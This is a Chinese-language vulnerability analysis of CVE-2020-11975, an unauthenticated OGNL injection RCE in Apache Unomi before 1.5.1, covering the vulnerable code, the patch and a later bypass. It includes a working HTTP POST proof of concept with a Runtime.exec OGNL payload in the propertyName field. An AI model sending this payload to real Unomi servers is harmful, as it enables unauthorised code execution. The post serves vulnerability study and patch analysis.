记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

漏洞分析 - Apache Unomi RCE 第1篇 OGNL注入(CVE-2020-11975)

2020-11-27 12:36

简介

Apache Unomi是什么?
Apache Unomi是一个Java开源客户数据平台,这是一个Java服务器。

Apache Unomi的用途?
Unomi可用于在各种不同的系统(如CMSs, CRMs, Issue Trackers, native mobile applications等)中"整合个性化"(integrate personalization)和"配置文件管理"(profile management)。

Apache Unomi的优点?
Unomi在2019年被宣布为Top-Level Apache product,具有高度的可扩展性,考虑了易用性。

鉴于Unomi包含大量数据并具有与其他系统的紧密集成的特点,使它成为攻击者的理想目标。

发现了1个什么漏洞?
远程攻击者发送带有了OGNL表达式的请求,可导致远程代码执行(RCE),权限就是Unomi应用程序的运行权限。
漏洞编号CVE-2020-11975
Credit: This issue was reported by Yiming Xiang of NSFOCUS.

触发前提:
Apache Unomi < 1.5.1 的版本,无需身份验证,能访问到就能RCE。

漏洞分析

Unomi提供了一个受限的API(应该是指需要授权才能访问),可以"取回"(retrieve)数据、操作数据。
此外还有一个公开的endpoint,应用程序可以在这里上传数据、"取回"(retrieve)用户数据。
Unomi允许发往这些endpoint的HTTP requests中包含复杂的conditions(条件)。

Unomi conditions(条件)依赖于"表达式语言"(expression languages,EL),如OGNL或MVEL,以允许用户构造复杂的、细粒度的查询. 在访问存储中的数据之前,基于EL的conditions被计算/执行。

CVE-2020-11975漏洞原理:
在1.5.1之前的版本中,这些"表达式语言"(expression languages)完全不受限制,所以通过EL注入即可实现RCE。
攻击者通过发送1个请求就可以在Unomi服务器上执行任意代码和OS命令。

修复CVE-2020-11975之前的代码:
https://github.com/apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java#L327-L330

public class PropertyConditionEvaluator implements ConditionEvaluator {
...
protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
ExpressionAccessor accessor = getPropertyAccessor(item, expression);
return accessor != null ? accessor.get(getOgnlContext(), item) : null;
}
...

解释一下上面的代码:
PropertyConditionEvaluator类负责conditions(条件)内的OGNL表达式的计算/执行。

当Unomi收到了类似于例1的JSON数据时,Unomi如何处理?
例1 JSON数据

{
"condition":{
"parameterValues":{
"propertyName":"Wubba Lubba",
"comparisonOperator":"equals",
"propertyValue":"Dub Dub"
}
}
}
  • Unomi处理流程
    • 首先,Unomi尝试根据用户输入的"属性名称"(property name),查找"硬编码的属性"(hardcoded properties)。
    • 如果找不到,则调用getOGNLPropertyValue方法,该方法将用户输入的"属性名称"(property name)作为一条OGNL表达式,计算/执行这个"属性名称"。

在计算/执行OGNL表达式时, ExpressionAccessor使用"默认参数"(default parameters),从而导致了任意OGNL表达式的计算/执行。
例如,"属性名称"(property name)设置为这个OGNL表达式:

(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))

PoC:
CVE-2020-11975 OGNL Injection

POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749

{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
"comparisonOperator":"equals_anystr",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}

测试成功。

Response如下(可能不重要,仅供参考)

HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: OPTIONS, POST, GET
Set-Cookie: context-profile-id=eeff918c-d8ab-43e9-bf6c-8420a8bd31de; Path=/; Expires=Wed, 24-Nov-2021 03:54:55 GMT; Max-Age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: context-profile-id=49b58042-92d6-4fcf-bb60-9fc0f62d0b5a; Path=/; Expires=Wed, 24-Nov-2021 03:54:55 GMT; Max-Age=31536000
Content-Type: application/json;charset=utf-8
Server: Jetty(9.4.22.v20191022)

{"profileId":"49b58042-92d6-4fcf-bb60-9fc0f62d0b5a","sessionId":"test-demo-session-id","profileProperties":null,"sessionProperties":null,"profileSegments":null,"filteringResults":null,"processedEvents":0,"personalizations":{"gender-test_anystr":["var2"]},"trackedConditions":[{"parameterValues":{"formId":"testFormTracking","pagePath":"/tracker/"},"type":"formEventCondition"}],"anonymousBrowsing":false,"consents":{}}

历史漏洞CVE-2020-11975 的修复代码

看看Unomi的开发者怎么修的。

变更1 OGNL处理过程增加了SecureFilteringClassLoader

查看diff: https://github.com/apache/unomi/commit/823386ab117d231df15eab4cb4b7a98f8af546ca
搜索PropertyConditionEvaluator.java

文件路径: plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java

PropertyConditionEvaluator.java的代码变更: line L328-L333

主要看PropertyConditionEvaluator类 的 getOGNLPropertyValue()方法。
将SecureFilteringClassLoader添加到getOGNLPropertyValue()方法中的OgnlContext中,以防止计算/执行任意OGNL表达式。

public class PropertyConditionEvaluator implements ConditionEvaluator {
...
protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(PropertyConditionEvaluator.class.getClassLoader());
OgnlContext ognlContext = getOgnlContext(secureFilteringClassLoader);
ExpressionAccessor accessor = getPropertyAccessor(item, expression, ognlContext, secureFilteringClassLoader);
return accessor != null ? accessor.get(ognlContext, item) : null;
}
...

变更2 MVEL处理过程增加了SecureFilteringClassLoader

计算/执行MVEL表达式的代码,也使用了SecureFilteringClassLoader。

修复前(1.5.0版本)
https://github.com/apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/persistence-elasticsearch/core/src/main/java/org/apache/unomi/persistence/elasticsearch/conditions/ConditionContextHelper.java#L81-L89

//1.5.0
public class ConditionContextHelper {
...
else if (s.startsWith("script::")) {
String script = StringUtils.substringAfter(s, "script::");
if (!mvelExpressions.containsKey(script)) {
ParserConfiguration parserConfiguration = new ParserConfiguration();
parserConfiguration.setClassLoader(ConditionContextHelper.class.getClassLoader());
mvelExpressions.put(script,MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
}
return MVEL.executeExpression(mvelExpressions.get(script), context);
}
...

修复后(1.5.1版本)
https://github.com/apache/unomi/blob/75c6cf56f1917a9cc5bd157c5e99c0e228cffcfc/persistence-elasticsearch/core/src/main/java/org/apache/unomi/persistence/elasticsearch/conditions/ConditionContextHelper.java#L107-L117

//1.5.1
public class ConditionContextHelper {
...
private static Object executeScript(Map<String, Object> context, String script) {
final ClassLoader tccl = Thread.currentThread().getContextClassLoader();
try {
if (!mvelExpressions.containsKey(script)) {
ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(ConditionContextHelper.class.getClassLoader());
Thread.currentThread().setContextClassLoader(secureFilteringClassLoader);
ParserConfiguration parserConfiguration = new ParserConfiguration();
parserConfiguration.setClassLoader(secureFilteringClassLoader);
mvelExpressions.put(script, MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
}
return MVEL.executeExpression(mvelExpressions.get(script), context);
...

变更3 SecureFilteringClassLoader类的具体实现

这个patch,引入了"安全过滤的ClassLoader" SecureFilteringClassLoader。

具体实现,可搜索SecureFilteringClassLoader.java
文件路径: common/src/main/java/org/apache/unomi/common/SecureFilteringClassLoader.java
line 90-99

@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (forbiddenClasses != null && classNameMatches(forbiddenClasses, name)) {
throw new ClassNotFoundException("Access to class " + name + " not allowed");
}
if (allowedClasses != null && !classNameMatches(allowedClasses, name)) {
throw new ClassNotFoundException("Access to class " + name + " not allowed");
}
return delegate.loadClass(name);
}

看代码可知,SecureFilteringClassLoader类通过,这样来限制MVEL和OGNL的能力。

看代码可知,SecureFilteringClassLoader类是重写了ClassLoader类的loadClass()方法,在"预定义的集合"(predefined set)中明确限制了"可访问的类"(accessible classes) ,并根据allowlist和blocklist来检查表达式中使用的类:
如果匹配中了blocklist,则抛出异常。
如果没匹配中allowlist,则抛出异常。

历史漏洞CVE-2020-11975 修复效果

看看修复CVE-2020-11975之后的效果,如果攻击者尝试攻击是什么情况。

(1)SecureFilteringClassLoader类 到底如何实现限制OGNL的能力?

攻击者通常使用@符号,来利用OGNL实现RCE:
修复CVE-2020-11975之后,使用@符号来静态地访问"对象类"(object classes)时,OGNL会调用loadClass()

例如java.lang.Runtime.getRuntime()写成OGNL表达式:(unomi版本<1.5.1的版本可RCE)
(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))

unomi版本>=1.5.1,当加载Runtime类时,此表达式不会通过SecureFilteringClassLoader类所执行的检查,也就是说不会成功加载Runtime类。

(2)SecureFilteringClassLoader类 到底如何实现限制MVEL的能力?

其实CVE-2020-11975,并没有用到MVEL表达式,只是开发者考虑到MVEL表达式也可能有同样问题,就一起做了代码变更(修复)。

对于MVEL表达式来说,当使用new语句创建新对象时,也会调用ClassLoader或SecureFilteringClassLoader的loadClass()方法(到底哪个类得看版本了),因此,这次patch代码变更后,使用MVEL表达式也只能"创建"出 来自于(allowlist)"受限类"(restricted set of classes)的集合里的实例。

注意: 这次patch是限制了 "创建" 对象,而没限制使用 "已经存在的" 对象!

总结

CVE-2020-11975是OGNL注入,开发者发现了类似的MVEL注入,这次的patch一起做了限制,看起来好像防住了。

其实这个patch没考虑完全, Checkmarx Security Research Team发现可以绕过。
就有了CVE-2020-13942。下篇再仔细看。


知识来源: xz.aliyun.com/t/8564

阅读:147845 | 评论:0 | 标签:注入 漏洞 CVE

想收藏或者和大家分享这篇好文章→复制链接地址

“漏洞分析 - Apache Unomi RCE 第1篇 OGNL注入(CVE-2020-11975)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

标签云 ☁